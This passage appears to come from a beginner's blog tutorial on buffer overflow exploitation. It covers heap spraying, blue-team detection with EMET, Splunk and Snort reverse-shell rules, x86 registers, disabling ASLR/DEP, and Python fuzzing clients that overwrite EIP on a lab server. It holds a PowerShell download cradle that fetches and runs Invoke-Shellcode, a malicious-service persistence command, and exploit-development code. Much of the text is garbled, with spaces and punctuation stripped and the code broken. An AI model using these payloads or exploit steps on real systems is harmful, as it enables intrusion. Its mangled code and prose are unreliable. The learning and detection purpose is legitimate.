object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

